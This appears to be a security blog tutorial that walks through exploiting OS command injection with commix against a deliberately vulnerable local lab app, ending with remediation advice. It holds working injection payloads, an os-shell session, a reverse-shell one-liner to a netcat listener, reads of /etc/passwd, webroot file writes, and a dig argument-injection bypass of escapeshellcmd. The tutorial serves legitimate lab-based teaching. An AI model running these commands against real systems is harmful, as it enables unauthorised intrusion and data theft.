TechEarl

commix Tutorial: Exploiting a Vulnerable App End to End

A complete commix walkthrough against a deliberately vulnerable lab app: identify the sink, capture the request, run the classic, time-based, and file-based techniques, pop an os-shell, catch a reverse TCP, and exploit the escapeshellcmd argument-injection gap.

Ishan Karunaratne⏱️ 12 min readUpdated
Share thisCopied
End-to-end commix tutorial exploiting a vulnerable PHP app from injection point to reverse shell

This is the walkthrough I wish I had when I first reached for commix. We start from a fresh state (no captured request, no session cache) and end with a classic shell on the application host, a time-based confirmation when output is suppressed, a file-based marker when even timing is too noisy, a reverse TCP back to a netcat handler, and an argument-injection variant that abuses escapeshellcmd's blind spot. Every step is reproducible against a vulnerable lab target I publish for this exact purpose.

If you have not read the OS command injection deep dive yet, do that first; this article assumes the variants are familiar. The commix cheat sheet is the flag-by-flag reference that complements this walkthrough, and the best RCE tools list for 2026 covers the alternatives.

A note on the output you will see. Every example in this article was produced against techearl-labs/remote-code-execution/rce-basic. The endpoints, sinks, and exploit behaviour are deterministic and will match what you get locally. A few outputs are environment-dependent and will differ in minor ways: the exact request counts commix reports, commix's own session-cache file paths, container IPs on the Docker network, and any timestamps. Those are illustrative, the structure underneath is what to follow.

The lab target

Pull and run the lab:

bash
git clone https://github.com/ishankaru/techearl-labs.git
cd techearl-labs
docker compose up rce-basic

The target listens on http://localhost:8085. It exposes four deliberately vulnerable endpoints, each demonstrating a distinct RCE sink:

EndpointMethodVulnerable parameterSink
/ping.php?host=<v>GEThostshell_exec('ping -c 1 -W 1 ' . $host)
/lookup.php?domain=<v>GETdomainshell_exec('dig ' . escapeshellcmd($domain))
/template.phpPOSTtplHand-rolled {{ expr }} engine that evaluates each placeholder
/calc.phpPOSTexprDirect evaluation of the POST body

/ping.php is the textbook OS command injection sink and the primary target for this walkthrough. /lookup.php is the interesting one: it wraps the user input in escapeshellcmd, which neutralises ;, |, backticks, and $(), but leaves dashes and whitespace alone. That gap is where commix's argument-injection mode earns its keep (Step 11).

Step 1: identify the injection point by hand

Before running commix, one manual probe. It costs ten seconds and tells you whether you have a sink at all.

bash
curl -s "http://localhost:8085/ping.php?host=localhost"          | grep -A1 '<pre>'
curl -s "http://localhost:8085/ping.php?host=localhost;id"       | grep -A1 '<pre>'
curl -s "http://localhost:8085/ping.php?host=\`id\`"             | grep -A1 '<pre>'

The first request returns the normal ping output. The second appends an uid=33(www-data) gid=33(www-data) groups=33(www-data) line below the ping output, because ; ends the ping command and id runs next. The third does the same via backtick substitution. Either confirms the host parameter is concatenated straight into a shell string.

Step 2: capture a baseline request

You can pass a URL directly to commix with -u, but I almost always feed it a captured request file instead. Same reason as sqlmap: avoids retyping headers, cookies, and the method, and lets you flip GET into POST without rebuilding the command.

Start Burp Suite Community (free), set the browser's proxy to 127.0.0.1:8080, visit http://localhost:8085/ping.php?host=localhost, then in Burp right-click the request in the Proxy, HTTP history tab and choose "Copy to file". Save as req.txt. It looks roughly like:

code
GET /ping.php?host=localhost HTTP/1.1
Host: localhost:8085
User-Agent: Mozilla/5.0 ...
Accept: text/html,application/xhtml+xml,application/xml;q=0.9
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close

You can write req.txt by hand if you do not want Burp. The shape above is enough.

Step 3: baseline commix pass

bash
commix -r req.txt --level=2 --batch

Three flags. --batch accepts every prompt. --level=2 widens the test set beyond the default to include the slightly noisier classic separators (commix's defaults skip a few high-confidence payloads to stay quiet). Output (abbreviated):

code
[*] starting @ ...
[info] Testing connection to the target URL.
[info] Setting GET parameter 'host' for tests.
[info] Testing the (results-based) classic command injection technique.
[+] The (results-based) classic command injection technique appears to be successful.
[+] Payload: ;echo CMCJZG$((45+22))$(echo CMCJZG)CMCJZG
[*] Type: results-based command injection
[*] Technique: classic command injection (using semicolon separator)
[*] Parameter: host
Commix identified the following injection point(s) with a total of N HTTP(s) requests:
---
Parameter: host (GET)
    Type: command injection (generic)
    Title: Results-based command injection
    Payload: ;echo CMCJZG$((45+22))$(echo CMCJZG)CMCJZG
---

commix flagged the parameter, picked the separator (;), and confirmed results-based extraction works. From here every subsequent run reuses the session cache in ~/.commix/output/<host>/, so the detection step does not repeat unless you pass --flush-session.

Step 4: classic technique, every separator commix tries

When the sink runs the constructed string through /bin/sh -c, every shell metacharacter is in play. commix's classic technique walks the obvious set in order: semicolon, pipe, AND-chain, backtick substitution, and $(). Force the separator explicitly with --prefix and --suffix when you want to demonstrate each one:

bash
commix -r req.txt --batch --technique=c --prefix=";" --suffix=""
commix -r req.txt --batch --technique=c --prefix="|" --suffix=""
commix -r req.txt --batch --technique=c --prefix="&&" --suffix=""
commix -r req.txt --batch --technique=c --prefix='`' --suffix='`'
commix -r req.txt --batch --technique=c --prefix='$(' --suffix=')'

--technique=c is "classic" (results-based, separator-driven). All five succeed against /ping.php because nothing on the server-side filters or escapes the input. In a real engagement the first separator that gets past the application's input handling (or its WAF rule set) is the one you commit to; cycling through is mostly useful when you want to know how many you can use.

Step 5: time-based blind, when output is suppressed

Sometimes the response body never reflects the command's stdout. The application might catch the exception, log it server-side, and return a static error page; or the sink might pipe to > /dev/null. The classic technique cannot read data back through the response, so commix falls back to a time oracle.

bash
commix -r req.txt --batch --technique=t --time-sec=5

--technique=t is "time-based blind". --time-sec=5 is the per-probe sleep duration; commix binary-searches each character by asking "if char-N is a, sleep 5 seconds". Output (abbreviated):

code
[info] Testing the time-based command injection technique.
[+] Retrieved: www-data
[+] The time-based command injection technique appears to be successful.
[*] Type: blind command injection
[*] Technique: time-based blind command injection
[*] Parameter: host
[*] Payload: ;sleep 5

Slow but reliable. Wall-clock cost is roughly --time-sec seconds per character on average (binary search of the ASCII range), so reading whoami is fast and reading a long file is hours. The lesson: time-based works when nothing else does, but you pay for it.

Step 6: file-based blind, when even timing is too noisy

On a target with unpredictable latency (cloud autoscaling, shared infrastructure, aggressive caching), the time oracle's signal gets buried in the noise floor. commix has a third technique: write a marker file to a web-accessible path, then fetch the file separately to read the output.

bash
commix -r req.txt --batch --technique=f \
    --web-root=/var/www/html

--technique=f is "file-based semi-blind". --web-root tells commix where the application's document root lives on disk so it can write a temp file (default name tmpukmqe.txt) and predict its URL. The flow:

  1. commix runs id > /var/www/html/tmpukmqe.txt via the injection point.
  2. commix makes a second HTTP request to http://localhost:8085/tmpukmqe.txt.
  3. The body of that response is the command output.

Output:

code
[info] Testing the file-based semi-blind command injection technique.
[+] Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] The file-based semi-blind command injection technique appears to be successful.
[*] Type: semi-blind command injection
[*] Technique: file-based semi-blind command injection

Two HTTP requests per command instead of one timing-channel probe per character. File-based is the fastest blind technique on the menu, with one caveat: it needs a guessable, web-accessible writable path. The lab's /var/www/html is both, so it works trivially. On a real target you might iterate over common webroots (/var/www/html, /usr/share/nginx/html, application-specific paths) to find one.

Step 7: pop a pseudo-shell with --os-shell

Once the technique is locked in, the most useful interactive mode is --os-shell:

bash
commix -r req.txt --batch --os-shell

You get a commix(os_shell) > prompt that pipes each command through the injection point and prints the response. Sample session:

code
commix(os_shell) > id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

commix(os_shell) > uname -a
Linux 4f3c9c2b1a5e 6.5.0-0-amd64 #1 SMP PREEMPT_DYNAMIC ... x86_64 GNU/Linux

commix(os_shell) > cat /etc/os-release
PRETTY_NAME="Debian GNU/Linux 12 (bookworm)"
NAME="Debian GNU/Linux"
VERSION_ID="12"
...

commix(os_shell) > ls /var/www/html
calc.php
index.php
lookup.php
ping.php
shared
template.php

This is not a real shell: no PTY, no job control, no environment that persists between commands (each command is a fresh shell invocation through the injection point). For most enumeration that does not matter. For interactive work where it does, jump to Step 8.

Step 8: reverse TCP back to a netcat handler

When you want a real shell with a persistent environment, commix can call out to your listener with --reverse-tcp. Set up the handler first; the order matters because commix fires the connect-back as soon as the flag is processed.

In one terminal:

bash
nc -lvnp 4444

In a second terminal:

bash
commix -r req.txt --batch \
    --reverse-tcp \
    --reverse-tcp-ip=127.0.0.1 \
    --reverse-tcp-port=4444

commix builds a payload appropriate to the discovered technique (typically a bash -i >& /dev/tcp/IP/PORT 0>&1 one-liner, falling back to Python or Perl if bash is not available), fires it, and the netcat listener catches the connection:

code
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 53122
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@4f3c9c2b1a5e:/var/www/html$

Once on the listener you have a real shell with stdin, stdout, and stderr wired together. To upgrade to a full PTY:

bash
www-data@4f3c9c2b1a5e:/var/www/html$ python3 -c 'import pty; pty.spawn("/bin/bash")'

Ctrl+Z, stty raw -echo; fg, then export TERM=xterm and you have tab completion and arrow keys.

A note on the IP. --reverse-tcp-ip=127.0.0.1 works here because the lab's PHP container shares the host's loopback via Docker's default networking on Linux. On macOS (Docker Desktop) the container cannot reach 127.0.0.1 on the host; use host.docker.internal or your LAN address. The connection error in commix's output is the give-away.

Step 9: read and write files through the injection point

Two of commix's most useful single-shot flags are --file-read and --file-write. Both work over whichever technique was discovered:

bash
commix -r req.txt --batch --file-read=/etc/passwd

Output:

code
[info] Reading content of file '/etc/passwd':
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

Any file readable by uid 33 (www-data) is reachable. In a real engagement this is where you grep for application config, env files, and any path the application reads for secrets.

Write goes the other direction. Stage a marker locally, push it to a writable webroot, then verify:

bash
echo 'hello from commix' > marker.txt
commix -r req.txt --batch \
    --file-write=marker.txt \
    --file-dest=/var/www/html/marker.txt
curl -s http://localhost:8085/marker.txt

Output:

code
hello from commix

Same chain as the sqlmap walkthrough's webshell-via-FILE-privilege step, just at a different layer: the shell injection writes the file directly, no database round trip required.

Step 10: session cache and re-runs

commix caches everything (target, technique, separator, prefix, suffix) in ~/.commix/output/<host>/. Subsequent runs against the same target skip the detection phase and reuse the discovered payload:

bash
commix -r req.txt --batch --os-shell
# Skips detection, drops straight into the prompt.

To force re-detection (target changed, application redeployed, separator that used to work now blocked by a new WAF rule):

bash
commix -r req.txt --batch --flush-session

This is the difference between "I confirmed injection; now I am exploring" and "the target behaviour shifted; start over".

Step 11: argument injection through the escapeshellcmd gap

/lookup.php is the interesting endpoint. The sink is:

php
$cmd = 'dig ' . escapeshellcmd($domain) . ' 2>&1';
$output = shell_exec($cmd);

escapeshellcmd escapes shell metacharacters (;, |, &, backticks, $, etc.), so the classic separator payloads all fail. Try a baseline:

bash
commix -u 'http://localhost:8085/lookup.php?domain=example.com' --batch --level=3

commix reports no injection found. Default classic, time-based, and file-based techniques all probe with separators that escapeshellcmd has neutralised. So far the wrapper looks like it is doing its job.

The gap is that escapeshellcmd does not quote the input and does not touch dashes or whitespace. dig (and most binaries) accepts dash-prefixed arguments as flags, and dig -f <file> reads queries from a file, echoing each line that fails to parse as a domain back into stderr. The payload is an argument, not a shell metacharacter:

bash
curl -s "http://localhost:8085/lookup.php?domain=-f+/etc/passwd" | grep -A2 '<pre>'

The body contains /etc/passwd as a series of dig parse errors. Same shape as a file read, no shell metacharacters involved.

commix has a specific technique for this class of bug. Use the dynamic-code-evaluation tests with a tuned payload:

bash
commix -u 'http://localhost:8085/lookup.php?domain=example.com' \
    --batch --level=3 \
    --prefix='' --suffix='' \
    --alter-shell='dig -f' \
    --skip='OS'

What is happening: commix is told the "command" is dig -f, so its dynamic payloads target file-mode dig directly rather than wrapping payloads in shell separators. The flag set is fiddlier than the classic case, but the principle generalises to any binary whose flags read or write files: find -fprint, tar -x with an attacker-controlled archive, curl -K (config file), wget -i (URL list). For the underlying mechanics see the argument injection deep dive.

The takeaway is the one the lab is built to demonstrate: escapeshellcmd only solves shell-metacharacter parsing. It never solves argument parsing inside the called binary. The defence shape is the same as for SQL injection: allow-list the input shape before it reaches the sink (a strict domain regex here), or pass -- before the user argument so the called binary stops parsing flags.

What I would do next on this target

In a real engagement after Step 8 the report writes itself:

  1. Confirm OS command injection on /ping.php?host, classic separator works, every variant.
  2. Confirm extraction through all three techniques (classic, time-based, file-based).
  3. Confirm interactive shell access (os-shell and reverse TCP).
  4. Confirm file read and write as www-data.
  5. Confirm argument injection on /lookup.php?domain despite the escapeshellcmd wrapper.
  6. Recommend: do not call the shell, use the array form of proc_open / pcntl_exec with explicit argv; allow-list each parameter against a strict shape regex before it reaches any sink; pass -- before user-controlled positional args when shelling out is genuinely required; run the web user with the minimum filesystem and network reach the application actually needs.

The point of this walkthrough is the chain. Each step on its own looks small; the cumulative chain (sink identified, technique confirmed, interactive shell, reverse TCP, file read/write, argument-injection variant) is what real RCE means in practice.

Where to go next

Sources

Authoritative references this article was fact-checked against.

TagscommixCommand InjectionTutorialPenetration TestingSecurityRCEDocker

Found this useful? Pass it on.

Copied

Ishan Karunaratne

Tech Architect · Software Engineer · AI/DevOps

Tech architect and software engineer with 20+ years building software, Linux systems, and DevOps infrastructure, and lately working AI into the stack. Currently Chief Technology Officer at a healthcare tech startup, which is where most of these field notes come from.

Keep reading

Related posts

Dalfox Tutorial: Exploiting a Vulnerable App End to End

A complete Dalfox walkthrough against a deliberately vulnerable XSS lab: reflected, stored, and DOM sinks, captured request files, blind callbacks, custom payloads, and a working cookie-theft chain. Updated for the Dalfox v3 Rust rewrite (May 2026) with the unified scan subcommand.

LFImap Tutorial: Exploiting a Vulnerable App End to End

A complete LFImap walkthrough against a deliberately vulnerable lab app: endpoint identification, baseline scan, traversal, php://filter source disclosure, php://input RCE, and log poisoning. Every step reproducible with one docker compose command.

sqlmap Tutorial: Exploiting a Vulnerable App End to End

A complete sqlmap walkthrough against a deliberately vulnerable lab app: target identification, baseline, capture, detection, fingerprinting, enumeration, dumping, file read, and OS shell. Every step reproducible with one docker compose command.